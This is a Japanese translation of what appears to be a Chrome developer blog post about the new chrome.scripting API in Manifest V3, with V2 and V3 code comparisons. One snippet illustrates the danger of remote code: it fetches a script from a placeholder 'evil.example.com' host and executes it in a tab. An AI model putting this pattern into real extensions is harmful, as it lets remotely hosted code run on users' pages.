chrome.scripting のご紹介

Manifest V3 では、Chrome の拡張機能プラットフォームに複数の変更が加えられています。この投稿では、注目すべき変更の一つである chrome.scripting API の導入がもたらした目的と変更についてご説明します。

chrome.scripting とは何ですか?

名前が示すように、chrome.scripting は Manifest V3 で導入された新しい名前空間で、スクリプトとスタイルのインジェクションの役割を果たします。

過去に Chrome 拡張機能を作成したことがあるデベロッパーは、Tabs API の Manifest V2 メソッド(chrome.tabs.executeScriptchrome.tabs.insertCSS など)を使い慣れているかもしれません。これらのメソッドにより、拡張機能はそれぞれ、スクリプトとスタイルシートをページに挿入できます。Manifest V3 では、これらの機能が chrome.scripting に移動されました。今後、いくつかの新機能でこの API を拡張する予定です。

新しい API を作成する理由

このような変化が起きると、まず「なぜ」という疑問が持ち上がる傾向があります。

Chrome チームはいくつかの要因を考慮し、スクリプト用の新しい名前空間を導入することを決定しました。 まず、Tabs API は機能のジャンク ドロワーです。次に、既存の executeScript API に互換性を破る変更を加える必要がありました。第三に 拡張機能のスクリプトを 拡張したいと考えていましたこれらの問題から、スクリプト機能を格納する新しい名前空間の必要性が明確に示されました。

ゴミの引き出し

ここ数年拡張機能チームが悩んでいた問題の一つに、chrome.tabs API の過負荷があります。この API が初めて導入されたときは、ほとんどの機能がブラウザタブという幅広いコンセプトに関連していました。とはいえ、その時点ではちょっとした機能の一部でしたが、このコレクションは何年にもわたって増え続けています。

Manifest V3 がリリースされるまでに、Tabs API は基本的なタブ管理、選択管理、ウィンドウの整理、メッセージング、ズーム制御、基本的なナビゲーション、スクリプト、その他のいくつかの小規模な機能に対応するまでに成長しました。これらはすべて重要ですが、使い始めるデベロッパーにとっても、プラットフォームのメンテナンスやデベロッパー コミュニティからのリクエストを考慮する Chrome チームにとっては、少し戸惑ってしまうかもしれません。

もう 1 つの複雑な要因は、tabs 権限が十分に理解されていないことです。他の多くの権限は特定の API(storage など)へのアクセスを制限しますが、この権限は、タブ インスタンスの機密プロパティに対するアクセス権のみを拡張機能に付与するという点で若干まれです(また、拡張機能によって Windows API にも影響します)。多くの拡張機能のデベロッパーが、Tabs API のメソッド(chrome.tabs.create、厳密には chrome.tabs.executeScript など)にアクセスするためにこの権限が必要であると誤解しています。Tabs API から機能を移行すると、こうした混乱が解消されます。

破壊的変更

Manifest V3 を設計した際、Google が対処すべき主な問題の 1 つは、「リモートでホストされたコード」(実行されるものの、拡張機能パッケージに含まれていないコード)によって悪用されるマルウェアやマルウェアでした。不正な拡張機能の作成者は、リモート サーバーから取得したスクリプトを実行して、ユーザーデータの窃取、マルウェアの挿入、検出の回避を行います。優れたアクターもこの機能を使用していますが、結局のところ、この状態を維持するには危険すぎると感じました。

拡張機能がバンドルされていないコードを実行する方法はいくつかありますが、ここで関連するのは Manifest V2 の chrome.tabs.executeScript メソッドです。このメソッドを使用すると、拡張機能はターゲット タブで任意のコード文字列を実行できます。つまり、悪意のあるデベロッパーがリモート サーバーから任意のスクリプトを取得し、拡張機能がアクセスできる任意のページ内でそれを実行する可能性があります。リモートコードの問題に対処するには、この機能を削除する必要があることはわかっていました。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

また、Manifest V2 バージョンの設計におけるその他の微妙な問題を修正し、API をより洗練され予測可能なツールにしたいと考えました。

Tabs API 内でこのメソッドのシグネチャを変更することもできましたが、これらの破壊的変更と新機能(次のセクションで説明します)の間では、誰にとってもクリーンな中断が簡単だと感じました。

スクリプト機能の拡張

Manifest V3 の設計プロセスでは、Chrome の拡張機能プラットフォームにスクリプト機能を追加したいという要望も加えられました。具体的には、動的コンテンツ スクリプトのサポートを追加し、executeScript メソッドの機能を拡張する必要がありました。

動的コンテンツのスクリプトのサポートは、Chromium で以前から機能のリクエストでした。現在のところ、Manifest V2 と Chrome 拡張機能 V3 で静的に宣言できるのは、manifest.json ファイル内でのみコンテンツ スクリプトです。プラットフォームには、実行時に新しいコンテンツ スクリプトの登録、コンテンツ スクリプトの登録の調整、コンテンツ スクリプトの登録の解除を行う方法はありません。

Google は Manifest V3 でこの機能リクエストへの対応が必要であることはわかっていましたが、既存の API はどれも最適な API とは思えませんでした。Google は Content Scripts API で Firefox と連携することを検討しましたが、ごく早い段階でこのアプローチにはいくつかの大きな欠点があることが判明しました。まず、互換性のないシグネチャ(code プロパティのサポートの終了など)が発生することがわかっていました。次に、API には異なる設計上の制約がありました(Service Worker の存続期間を超えて存続するには登録が必要など)。最後に、この名前空間は、拡張機能のスクリプト作成をより広範に検討するコンテンツ スクリプト機能を提供します。

executeScript に関しては、この API で実行できる処理の範囲を Tabs API バージョンのサポート範囲を超えて拡張したいと考えました。具体的には、関数と引数をサポートし、特定のフレームを簡単にターゲットにし、「タブ」以外のコンテキストをターゲットにしたいと考えました。

今後、拡張機能がインストール済みの PWA など、概念的に「タブ」にマッピングされないコンテキストとどのように相互作用するかも検討しています。

tab.executeScript と scripting.executeScript 間の変更

この投稿の残りの部分では、chrome.tabs.executeScriptchrome.scripting.executeScript の類似点と相違点を詳しく見てみましょう。

引数を使用した関数の注入

リモートでホストされるコード制限を考慮してプラットフォームをどのように進化させる必要があるかを考慮する一方で、任意のコード実行の力と、静的コンテンツ スクリプトのみを許可することとのバランスをとりたいと考えました。私たちが検討した解決策は、拡張機能が関数をコンテンツ スクリプトとして挿入し、値の配列を引数として渡すようにすることでした。

(単純化されすぎた)例を簡単に見てみましょう。ユーザーが拡張機能のアクション ボタン(ツールバーのアイコン)をクリックしたときにユーザーに名前を表示するスクリプトを挿入するとします。Manifest V2 では、コード文字列を動的に作成して、そのスクリプトを現在のページで実行できました。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 拡張機能では、拡張機能にバンドルされていないコードを使用できませんが、Google の目標は、Manifest V2 拡張機能で任意のコードブロックを有効にするダイナミズムを維持することでした。関数と引数のアプローチにより、Chrome ウェブストアのレビュー担当者、ユーザー、その他の利害関係者は、拡張機能がもたらすリスクをより正確に評価できるとともに、デベロッパーはユーザー設定やアプリケーションの状態に基づいて拡張機能の実行時の動作を変更できるようになります。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

ターゲティング フレーム

また、改訂された API では、デベロッパーがフレームを操作する方法も改善したいと考えていました。Manifest V2 バージョンの executeScript では、デベロッパーはタブ内のすべてのフレームまたはタブ内の特定のフレームをターゲットにできます。chrome.webNavigation.getAllFrames を使用すると、タブ内のすべてのフレームのリストを取得できます。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3 では、オプション オブジェクトのオプションの frameId 整数プロパティが、オプションの frameIds 整数配列に置き換えられました。これにより、デベロッパーは 1 回の API 呼び出しで複数のフレームをターゲットにできます。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

スクリプト インジェクションの結果

また、Manifest V3 でスクリプト インジェクションの結果を返す方法を改善しました。「結果」は基本的に、スクリプトで評価される最終的なステートメントです。これは、eval() を呼び出したり、Chrome DevTools コンソールでコードブロックを実行したりしたときに返される値ですが、プロセス間で結果を渡すためにシリアル化されています。

Manifest V2 では、executeScriptinsertCSS はプレーンな実行結果の配列を返します。注入ポイントが 1 つしかない場合は問題ありませんが、複数のフレームに注入する場合は結果の順序が保証されないため、どの結果がどのフレームに関連付けられているかを確認する方法はありません。

具体的な例として、同じ拡張機能の Manifest V2 と Manifest V3 バージョンによって返される results 配列を見てみましょう。どちらのバージョンの拡張機能も同じコンテンツ スクリプトを挿入するため、同じデモページで結果を比較します。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 バージョンを実行すると、[1, 0, 5] の配列が返されます。どちらがメインフレームに対応し、どちらが iframe に対応するか。戻り値では通知されないため、確実性は不明です。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 バージョンでは、results に評価結果だけの配列ではなく結果オブジェクトの配列が含まれるようになりました。結果オブジェクトは各結果のフレームの ID を明確に識別します。これにより、デベロッパーはこの結果を利用して、特定のフレームでアクションを実行することがはるかに容易になります。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

まとめ

マニフェスト バージョンのバンプは、拡張機能 API を再考してモダナイズする貴重な機会となります。Manifest V3 の目標は、拡張機能の安全性を高め、デベロッパー エクスペリエンスを向上させることで、エンドユーザー エクスペリエンスを向上させることです。Manifest V3 に chrome.scripting を導入することで、Tabs API のクリーンアップ、拡張機能プラットフォームの安全性向上のための executeScript の再構築、今年後半に導入される新しいスクリプト機能の土台を築くことができました。